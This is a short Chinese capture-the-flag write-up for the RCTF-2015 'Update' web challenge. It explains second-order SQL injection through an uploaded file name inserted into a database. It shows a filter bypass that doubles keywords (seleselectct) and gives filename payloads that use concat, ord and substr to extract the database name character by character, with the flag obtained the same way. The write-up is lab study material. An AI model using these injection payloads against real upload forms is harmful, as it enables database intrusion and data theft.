RCTF-2015-Update

1
2
3
4
知识点:
insert 注入
二次注入
web题的思路(出题人的恶意)

打开题目,虽然名字是 Update 但看了 wp 后发现其实是一个二次注入题。

分析了一下:

1.网站会将用户上传的文件名存入数据库,在页面中查询数据库中的文件名,显示在页面上。

2.注入点在用户上传文件名的 insert 语句中。

3.过滤了 select from 等常见的关键词,但是可以用双写 seleselectct 绕过。

4.注入得到的数据回显会转化为数字。

大概思路就是 insert +bool 盲注,但是有些 wp 提供了一个思路利用 concat() 函数将数据能够在 insert 语句中嵌入子查询。这样就能够直接一个字符一个字符的查询出数据。

payload:

查询数据库:

1
2
3
4
5
6
7
第1个字符: filename="'+concat((selselectect ord( substr(database(),1,1))))+'.jpg"    // 119
第1个字符: filename="'+concat((selselectect ord( substr(database(),2,1))))+'.jpg" // 101
...
98 95 117 112 108 111 97 100

得到数据库名
web_upload

利用同样的方法即可查询到数据库中的 flag